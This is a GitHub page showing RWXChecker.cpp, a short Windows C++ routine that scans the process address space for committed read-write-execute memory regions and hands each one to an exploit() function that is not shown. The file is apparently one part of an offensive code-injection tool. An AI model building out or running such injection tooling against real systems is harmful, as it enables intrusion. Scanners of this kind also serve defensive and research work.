-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathRWXChecker.cpp
More file actions
35 lines (29 loc) · 1.19 KB
/
RWXChecker.cpp
File metadata and controls
35 lines (29 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "RWXChecker.h"
#include "exploit.h"
#include <iostream>
void find_rwx_memory() {
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
LPVOID address = sysInfo.lpMinimumApplicationAddress;
MEMORY_BASIC_INFORMATION mbi;
int rwxCount = 0;
std::cout << "[*] Starting RWX memory scan..." << std::endl;
while (address < sysInfo.lpMaximumApplicationAddress) {
if (VirtualQuery(address, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT &&
(mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_WRITECOPY)) {
rwxCount++;
std::cout << "[+] RWX Memory Found: Base Address = " << address
<< " | Region Size = " << mbi.RegionSize << " bytes" << std::endl;
exploit(address, mbi.RegionSize);
}
address = (LPVOID)((DWORD_PTR)address + mbi.RegionSize);
}
else {
std::cerr << "[-] VirtualQuery failed at address: " << address
<< " | Error Code: " << GetLastError() << std::endl;
break;
}
}
std::cout << "[*] RWX Memory Scan Complete. Total RWX Regions Found: " << rwxCount << std::endl;
}